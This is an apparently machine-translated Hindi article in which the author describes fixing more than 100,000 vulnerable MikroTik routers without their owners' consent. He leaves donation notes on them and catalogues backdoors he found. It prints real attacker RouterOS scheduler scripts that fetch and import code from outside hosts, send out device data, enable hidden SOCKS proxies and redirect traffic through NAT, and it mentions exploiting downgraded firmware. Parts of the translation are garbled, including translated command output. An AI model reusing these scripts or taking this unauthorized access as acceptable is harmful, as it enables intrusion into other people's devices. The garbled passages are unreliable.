🌨️ 🈴 🤵🏻 हैकरॉटिक को क्यों हैक किया और मैंने 100 हजार कैसे छिपाए। एक बोटनेट से राउटरओएस 💀 👨🏽‍🍳 💓

राउटरओएस पेशेवरों और जिम्मेदार पेशेवरों के हाथों में एक बहुत शक्तिशाली उपकरण है। लेकिन शुरुआती या उन लोगों के हाथों में जो सब कुछ करते हैं "और इसलिए उतर जाते हैं" मिकरोटिक अपना जीवन जीना शुरू कर देता है और एक बॉटनेट नोड में बदल जाता है।

मई 2018 में वापस, मैंने अपने मिकरोटिक की सुरक्षा के बारे में सिफारिशों के साथ एक लेख लिखा।

विचित्र रूप से पर्याप्त है, नेटवर्क में अभी भी हजारों "खुले" मिकरोटिक राउटर हैं और बॉटनेट की सेना फिर से भर रही है।

काम और आराम से अपने खाली समय में, मैंने पूरे नेटवर्क में कमजोर उपकरणों की खोज की और मेरी सिफारिशों के अनुसार सेटिंग्स कीं, अर्थात्, मैंने फ़ायरवॉल नियम जोड़े जो राउटर तक पहुंच को रोकते हैं स्थानीय नेटवर्क से नहीं। टिप्पणियों में मैंने भेद्यता के बारे में जानकारी लिखी और टेलीग्राम चैनल @router_os का पता छोड़ दिया , जहां मैं ब्याज के सवाल पूछ सकता था (उन्हें एक सामान्य व्यवस्थापक में प्रकट होना चाहिए था)।

मई से वर्तमान दिन तक, मैंने बोटनेट के चंगुल से 100 हजार से अधिक मिकरोटिक उपकरणों को "खींच" लिया।

यह देखते हुए कि मैं मास्को में MUM 2018 में नहीं बोल सकता, मैंने अपनी रिपोर्ट habr.com पर प्रकाशित करने का फैसला किया

नेटवर्क पर बहुत सारे विश्लेषिकी हैं कि कैसे राउटरओएस का उपयोग हैकर्स द्वारा किया जाता है (उदाहरण के लिए यहां )। लेकिन मेरा लेख व्यक्तिगत रूप से मेरे अनुभव पर आधारित है।

प्रवेश और उनकी प्रतिक्रिया

पूरी दुनिया में, राउटर प्रशासक जल्द या बाद में इस तरह के ईस्टर अंडे की खोज करते हैं।

/ सिस्टम नोट

/system note print
show-at-login: yes
note: I closed the vulnerability with a firewall. Please update RouterOS. You can say thanks on the WebMoney Z399578297824 or BTC 14qiYkk3nUgsdqQawiMLC1bUGDZWHowix1. My Telegram http://t.me/router_os

अधिकांश ने चुपचाप छेद को कवर किया। कोई मुझे "धन्यवाद" लिखने के लिए बहुत आलसी नहीं था। लेकिन ऐसे लोग थे जो जोर से समझ नहीं आने पर नाराजगी जताते थे।

एक सामान्य विशेषज्ञ को पर्याप्त रूप से जवाब देना चाहिए जब वे अपनी गलती का संकेत देते हैं।

हर समय, 50 से अधिक लोगों ने मुझे नहीं लिखा ...

चूंकि उपयोगकर्ताओं की प्रतिक्रिया न्यूनतम थी, इसलिए मैं इस निष्कर्ष पर पहुंचा कि विशाल बहुमत यह भी ध्यान नहीं देगा कि राउटर पर कुछ गलत है। इसलिए, मैंने अपनी स्क्रिप्ट को परिशोधित करना शुरू कर दिया, जो कि फ़ायरवॉल नियमों के अलावा, मेरे द्वारा ज्ञात बैकडोर को हटा देगा, जो हमलावर ने छोड़ा था।

यह तर्कसंगत है कि मेरा तरीका सभी के अनुकूल नहीं है। लेकिन मैं अभी तक इस कार्य के लिए एक अलग दृष्टिकोण के साथ नहीं आया हूं।

हैकर्स लव राउटरओएस

अधिकांश मामलों में, मैं एक ऐसे उपकरण पर समाप्त हो गया जो पहले से ही किसी से संक्रमित है। दुर्भाग्य से, मैंने तुरंत उनकी सामग्री का विश्लेषण करना शुरू नहीं किया। यहाँ मैंने पाया है और क्या एक निश्चित संकेत होगा कि आपका राउटर समझौता है।

वेब प्रॉक्सी और सॉक्स

राउटर का सबसे आम उपयोग मानक वेब और मोजे प्रॉक्सी के माध्यम से है। यदि आप उनका उपयोग नहीं करते हैं, लेकिन वे चालू हैं, तो बस उन्हें बंद कर दें।

/ip proxy set enabled=no
/ip socks set enabled=no

लेकिन इसे बंद करने के लिए, हैकर एक स्क्रिप्ट को शेड्यूलर में जोड़ता है, जिसे थोड़ी देर बाद प्रॉक्सी चालू कर देगा:

/ सिस्टम स्क्रिप्ट

/system scheduler
add interval=10m name="port 54321" on-event="port 54321" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=sep/02/2018 start-time=20:35:53
/system script
add name="port 54321" owner=gateway policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source="/\
ip firewall filter remove [/ip firewall filter find where comment ~ \"port\
\_[0-9]*\"];/ip socks set enabled=yes port=54321 max-connections=255 conne\
ction-idle-timeout=60;/ip socks access remove [/ip socks access find];/ip \
firewall filter add chain=input protocol=tcp port=54321 action=accept comm\
ent=\"port 54321\";/ip firewall filter move [/ip firewall filter find comm\
ent=\"port 54321\"] 1;"

आप webproxy/error.html फ़ाइल को ढूँढ सकते हैं, जो प्रॉक्सी आपको webproxy/error.html , और यह, बदले में, खनिक को बुलाती है।

अतिरिक्त पैरामीटर यहां दिखाई देते हैं:

/ip proxy access print
/ip socks access print

स्क्रिप्ट कुछ भी कर सकती है

पूर्ण-विकसित मिकारोटिक्स के 90% में स्क्रिप्ट /system script और उनके लिए निष्पादन अनुसूची /system scheduler कॉन्फ़िगर किया गया है।

शेड्यूल के अनुसार, एक स्क्रिप्ट डाउनलोड की जाती है, जिसे बाद में निष्पादित किया जाता है।

छोटी स्थापना

/system scheduler
add interval=11h name=upd113 on-event="/tool fetch url=http://gotan.bit:31415/\
01/error.html mode=http dst-path=webproxy/error.html" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd115 on-event=\
"/tool fetch url=http://gotan.bit:31415/01/u113.rsc mode=http" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd116 on-event="/import u113.rsc" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:12
add interval=1d name=Auto113 on-event="/system reboot" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:00:00
/system script
add name=script4_ owner=nivel2 policy=\
ftp,reboot,read,write,policy,test,password,sensitive source="/tool fetch a\
ddress=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http keep-resu\
lt=no"

स्क्रिप्ट का एक और संस्करण, जो आवेदन के बाद आंशिक रूप से छिपाने की कोशिश करता है।

/system scheduler
add interval=11s name=MTIT on-event="/system script run MTIT" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
add interval=25m name="DDNS Serv" on-event="/system script run iDDNS" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
/system script
add name=MTIT owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=\
"/ping 10.12.0.26 interface=ether4 count=10"
add name=iDDNS owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=":global\
\_mac [/interface ethernet get 1 mac-address]\r\
\n:global port ([/ip service get winbox port].\"_\".[/ip socks get port].\
\"_\".[/ip proxy get port])\r\
\n:global info ([/ip socks get enabled].\"_\".[/ip proxy get enabled].\"_\
\".[/interface pptp-server server get enabled])\r\
\n:global cmd \"/\$mac/\$port/\$info/dns\"\r\
\n/tool fetch address=91.134.24.238 src-path=\$cmd mode=http dst-path=dns;\
:delay 3s\r\
\n/import dns;:delay 4s;/file remove dns"

इस प्रकार, हमलावरों के पास हमेशा एक नई स्क्रिप्ट को "फीड" करने का अवसर होता है और उदाहरण के लिए, बड़े पैमाने पर डीडीओएस हमले का संचालन करते हैं।

लिपियों को हर जगह छिपाया जा सकता है

इसलिए, इन स्थानों को ध्यान से देखें। एक साफ राउटरओएस पर, ये जगहें खाली हैं।

डीएसटी-नेट

मेरे महान आश्चर्य के लिए, लेकिन ऐसे कई उपकरण हैं जिन पर ट्रैफ़िक को /ip firewall nat माध्यम से लपेटा गया है।

Dst-nat पर स्पैम

/ip firewall nat
add action=masquerade chain=srcnat comment="default configuration"
add action=masquerade chain=srcnat
add action=dst-nat chain=dstnat dst-port=4444 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-port=8008 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=8008 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=443 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=25 protocol=\
tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.52 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.186 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.89.69 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.70 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.104 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.72.197 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.180.118 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=151.80.59.84 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444

अपने असली आईपी को छिपाने का एक अच्छा तरीका।

वीपीएन

उसके बिना जैसा। राउटरओएस विभिन्न प्रकार के वीपीएन उठा सकता है, लेकिन हैकर्स अक्सर पीपीटीपी और एल 2 टीटीपी का उपयोग करते हैं।

तो /ppp secret अनुभाग की जाँच करें

भले ही यह सेक्शन खाली हो, लेकिन चालाक हैकर्स रेडियस के जरिए लॉग इन कर सकते हैं।
रिकॉर्ड /radius print लिए जाँच करें
यदि आपने कुछ भी कॉन्फ़िगर नहीं किया है, तो यह खाली होना चाहिए। अन्यथा, यह सफाई के लायक है:
/radius remove numbers=[/radius find ]
और रेडियस के उपयोग पर रोक लगाते हैं
/ppp aaa set use-radius=no use-circuit-id-in-nas-port-id=no
डिवाइस पर प्राधिकरण के लिए त्रिज्या के उपयोग को अक्षम करें
/user aaa set use-radius=no

यदि आप वीपीएन का उपयोग नहीं करते हैं, तो इसे अक्षम करें

/interface l2tp-server server set enabled=no
/interface pptp-server server set enabled=no
/interface sstp-server server set enabled=no

DNS स्थैतिक

यह फ़िस्सिग के बिना नहीं था। रूटर्स इन / आईपी डीएनएस स्टैटिक पर, आप ऐसा पा सकते हैं

सब कुछ बहुत सरल है: आप उस साइट का पता चलाते हैं जिसे आप पता बार में जानते हैं, लेकिन वास्तव में आप हमलावर के सर्वर पर पहुंचते हैं।

सामग्री हटाएं

/ip dns static remove numbers=[/ip dns static find]

ट्रिमिंग व्यवस्थापक अधिकार

UPD: राउटर्स का एक समूह भी होता है, जहां हैकर ने एडमिन के अधिकारों में कटौती की है और अपने अधिकारों की शुरुआत खुद से की है (उदाहरण के लिए, राउटर और cnt), या बस अधिकार छीन लेता है और फर्मवेयर को लेटेस्ट में अपडेट करता है।

सामग्री / उपयोगकर्ता पहले मामले में

[रूटर @ MikroTik]> / उपयोगकर्ता प्रिंट
झंडे: X - अक्षम
# NAME ग्रुप एड्रैस लास्ट-लॉगगेड-इन
0 ;;; सिस्टम डिफ़ॉल्ट उपयोगकर्ता
एडमिन एडमिन sep / 18/2018 15:08:45
1 द्विमा पूर्ण सेप / 14/2018 19:54:00
2 राउटर फुल सीपी / 26/2018 09:23:41

[रूटर @ MikroTik]> / उपयोगकर्ता समूह प्रिंट
0 नाम = "पढ़ें" नीति = स्थानीय, टेलनेट, ssh, रिबूट, पढ़ें, परीक्षण, winbox, पासवर्ड, वेब, सूँघ, संवेदनशील, एपीआई, रोमन, tikapp,! फीट!, लिखें, नीति!, कठोर त्वचा = डिफ़ॉल्ट

1 नाम = "लिखना" नीति = स्थानीय, टेलनेट, ssh, रिबूट, पढ़ना, लिखना, परीक्षण, winbox, पासवर्ड, वेब, सूँघना, संवेदनशील, एपीआई, रोमन, टिकप;

2 नाम = "पूर्ण" नीति = स्थानीय, टेलनेट, ssh, ftp, रिबूट, पढ़ें, लिखें, नीति, परीक्षण, winbox, पासवर्ड, वेब, सूंघ, संवेदनशील, एपीआई, रोमन, यार, tikapp त्वचा - डिफ़ॉल्ट

3 नाम = "व्यवस्थापक" नीति = स्थानीय, ftp, रिबूट, पढ़ा, लिखना, परीक्षण, winbox, पासवर्ड, वेब, सूंघ, संवेदनशील, एपीआई, टेलनेट, एसएचएस; पॉलिसी; और रोमोन, ड्यूड, टीकैप त्वचा = डिफ़ॉल्ट

इस समस्या को हल करने के लिए एक विकल्प के रूप में: netinstall के माध्यम से, कमजोर फर्मवेयर को डाउनग्रेड करना और शोषण का उपयोग करना।

पैकेट स्निफर

Kaspersky Lab के सहकर्मियों ने ट्रैफ़िक की चोरी का उल्लेख एक अज्ञात नोड पर पुनर्निर्देशित करके किया।

आप इसे इस तरह बंद कर सकते हैं:

/tool sniffer stop
/tool sniffer set streaming-enabled=no filter-ip-protocol="" filter-port="" filter-interface="" filter-stream=no

मिकरोटिक उत्पाद समस्या

बिल्कुल सुरक्षित सिस्टम मौजूद नहीं है। और मिकरोटिक उत्पादों के बड़े पैमाने पर वितरण ने भी इन उपकरणों का व्यापक अध्ययन किया।
चूंकि राउटरओएस की कार्यक्षमता आपको बड़ी संख्या में कार्य करने की अनुमति देती है, इसलिए यह हैकर्स के लिए भी दिलचस्प है।

इस तथ्य के कारण कि उत्पाद बहुत गतिशील रूप से विकसित हो रहा है, नए "छेद" के उद्भव की दर भी महान है। इसके बावजूद, मिकरोटिक जल्दी से अपने सिस्टम के लिए पैच जारी करता है।

निकास

तिथि करने के लिए, राउटरओएस की सुरक्षा के लिए एकमात्र सही समाधान एक सही ढंग से कॉन्फ़िगर किया गया फ़ायरवॉल है, जो "सब कुछ जो स्पष्ट रूप से अनुमत नहीं है, निषिद्ध है" के सिद्धांत पर काम करता है।
और सभी क्योंकि मिकरोटिक क्लासिक लिनक्स फ़ायरवॉल का उपयोग करता है, जिसे वर्षों से विशेषज्ञों की एक सेना द्वारा सम्मानित किया गया है।

यदि आपको वैश्विक नेटवर्क से डिवाइस तक पहुंच की आवश्यकता है, तो " पोर्ट दस्तक " के सिद्धांत का उपयोग करें। "Fail2ban" सिद्धांत हमेशा खुद को सही नहीं ठहराता है, क्योंकि यह अभी भी डिवाइस का पता लगाता है।

वैश्विक समाधान

लैमर मोड

चूंकि उपकरण बहुत सस्ते हैं, उन्हें उन उपयोगकर्ताओं द्वारा खरीदा जाता है जिनके पास विशेष ज्ञान नहीं है। मिकरोटिक को एक "लैमर" इंटरफ़ेस विकसित करने की आवश्यकता है, जिसमें अधिकांश एसओएचओ राउटर की तरह, न्यूनतम संख्या में सेटिंग्स हैं। इसके अलावा, यह डिफ़ॉल्ट होना चाहिए। और उपयोगकर्ता को उन्नत मोड को सचेत रूप से स्वयं द्वारा सक्षम करना होगा। वर्तमान "त्वरित सेट" पर्याप्त अच्छा नहीं है। इसके अलावा, बटन की प्रचुरता के कारण, उपयोगकर्ता इस फ़ंक्शन को नोटिस नहीं कर सकता है।

बग विश्लेषक

इसमें एक मॉड्यूल की भी आवश्यकता होती है जो संभावित कमजोरियों के लिए वर्तमान कॉन्फ़िगरेशन का विश्लेषण करता है और उपयोगकर्ता को सूचित करता है यदि वह मानता है कि राउटर से समझौता किया जा सकता है। इस मॉड्यूल को "ज्ञान का आधार" लोड करना चाहिए जिसे मिकरोटिक कर्मचारी सामान्य गलतियों के आधार पर भरते हैं। और गंभीर कमजोरियों के मामले में, "आपातकालीन" मोड को सक्षम करें।
अगर मैं खतरों का हिस्सा व्यवस्थित कर सकता हूं, तो डेवलपर्स और भी बहुत कुछ ...

फ़ायरवॉल - प्रदाताओं की एक सेवा के रूप में

"स्मार्ट" उपकरणों का बाजार तेजी से विकसित हो रहा है और वे सभी अच्छी तरह से संरक्षित हैं। ज्यादातर लोग जो उन्हें खरीदते हैं, उन्हें अपने गैजेट को सुरक्षित रखने के लिए विशेष ज्ञान नहीं होता है।

इसलिए, इंटरनेट प्रदाताओं के लिए ऐसे गैजेट्स की सुरक्षा के लिए एक वाणिज्यिक सेवा बनाने का समय आ गया है। आपके खाते में ट्राइट उपयोगकर्ता इंगित करता है कि इंटरनेट से कौन से पोर्ट खोलने हैं।
प्रदाता मौजूदा उपकरणों और उनकी सामान्य जरूरतों का एक केंद्रीकृत डेटाबेस भी बना सकते हैं। उपयोगकर्ता एलसी में इंगित करता है कि वह किन उपकरणों का उपयोग कर रहा है। इस तरह के डिवाइस के असामान्य व्यवहार के मामले में, उपयोगकर्ता को सूचित करें।
मेरा मानना है कि बाजार इस तरह की सेवा के लिए पहले से ही पका हुआ है।

इस सेवा के निम्नलिखित लाभ हैं:

प्रदाता के लिए, एक और आय मद
चंचल यातायात को कम करें
बोटनेट में भर्ती होने वाले उपकरण को कम करें
स्मार्ट होम सेवाओं के विकास को बढ़ावा देना
उपयोगकर्ता अब अपनी सुरक्षा से परेशान नहीं हो सकते।

थोड़ा अपने बारे में

मैं उन सवालों के जवाब देने की कोशिश करूंगा जो वे मुझसे पूछेंगे।

मैं सामान्य रूप से मिकरोटिक और नेटवर्क से संबंधित पदों पर काम करता हूं।
हालाँकि, मेरे पास MTCNA प्रमाणपत्र है।
मिकरोटिक मेरा शौक है। जो कुछ भी मैं करता हूं - मुझे यह पसंद है। तो कहने के लिए "मज़ा के लिए।"
प्रोफ़ाइल द्वारा नौकरी क्यों नहीं मिली? जो लोग हमारे शहर में मिकरोटिक खरीदते हैं, वे ZP को बहुत अधिक भुगतान नहीं कर सकते हैं। जो लोग मुझे योग्य भुगतान कर सकते हैं, वे सिस्को खरीदते हैं।
फ़ायरवॉल पर टिप्पणियों में, मैंने अपनी जेब का संकेत दिया, लेकिन मई के बाद से उन्होंने मुझे केवल $ 40 के लिए फेंक दिया। उन्होंने विभिन्न देशों के टेलीग्राम को लिखा, यह कहते हुए कि उनके पास wmz नहीं है, लेकिन सभी समान हैं, "धन्यवाद"।

पुनश्च:

अपना अनुभव साझा करें कि हैकर मिकरोटिक का उपयोग कैसे कर सकते हैं।

हैकरॉटिक को क्यों हैक किया और मैंने 100 हजार कैसे छिपाए। एक बोटनेट से राउटरओएस